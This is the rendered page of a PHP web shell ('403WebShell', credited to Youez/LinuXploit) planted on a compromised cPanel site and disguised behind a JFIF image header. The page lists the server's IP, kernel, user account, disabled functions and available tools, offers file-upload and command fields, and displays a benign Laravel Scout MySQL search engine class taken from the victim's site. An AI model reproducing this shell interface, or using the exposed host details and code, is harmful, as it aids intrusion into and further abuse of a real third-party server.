����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 18.188.54.133
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/public_html/common/Search/Drivers/Mysql/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/public_html/common/Search/Drivers/Mysql/MysqlSearchEngine.php
<?php namespace Common\Search\Drivers\Mysql;

use Arr;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Support\Collection;
use Illuminate\Support\LazyCollection;
use Laravel\Scout\Builder;
use Laravel\Scout\Engines\Engine;

class MysqlSearchEngine extends Engine
{
    /**
     * Update the given model in the index.
     *
     * @param \Illuminate\Database\Eloquent\Collection $models
     * @return void
     */
    public function update($models)
    {
        //
    }

    /**
     * Remove the given model from the index.
     *
     * @param \Illuminate\Database\Eloquent\Collection $models
     * @return void
     */
    public function delete($models)
    {
        //
    }

    public function search(Builder $builder)
    {
        return $this->performSearch($builder, ['perPage' => $builder->limit]);
    }

    public function paginate(Builder $builder, $perPage, $page): Collection
    {
        return $this->performSearch($builder, [
            'limit' => $perPage,
            'offset' => $perPage * $page - $perPage,
        ]);
    }

    protected function performSearch(
        Builder $builder,
        array $options = []
    ): Collection {
        if ($builder->callback) {
            return call_user_func(
                $builder->callback,
                null,
                $builder->query,
                $options,
            );
        }

        $query = $builder->model->mysqlSearch($builder->query);

        if (!empty($builder->orders)) {
            foreach ($builder->orders as $order) {
                $query->orderBy(
                    Arr::get($order, 'column'),
                    Arr::get($order, 'direction'),
                );
            }
        }

        if (isset($options['limit'])) {
            $query = $query->take($options['limit']);
        }
        if (isset($options['offset'])) {
            $query = $query->skip($options['offset']);
        }

        return $query->get();
    }

    /**
     * Pluck and return the primary keys of the given results.
     *
     * @param mixed $results
     * @return Collection
     */
    public function mapIds($results)
    {
        return $results->pluck('id')->values();
    }

    /**
     * Map the given results to instances of the given model.
     *
     * @param Builder $builder
     * @param mixed $results
     * @param Model $model
     * @return \Illuminate\Database\Eloquent\Collection
     */
    public function map(Builder $builder, $results, $model)
    {
        return $results;
    }

    /**
     * Get the total count from a raw result returned by the engine.
     *
     * @param mixed $results
     * @return int
     */
    public function getTotalCount($results)
    {
        return count($results);
    }

    /**
     * @inheritDoc
     */
    public function flush($model)
    {
        //
    }

    public function lazyMap(Builder $builder, $results, $model)
    {
        return LazyCollection::make($results);
    }

    public function createIndex($name, array $options = [])
    {
        //
    }

    public function deleteIndex($name)
    {
        //
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit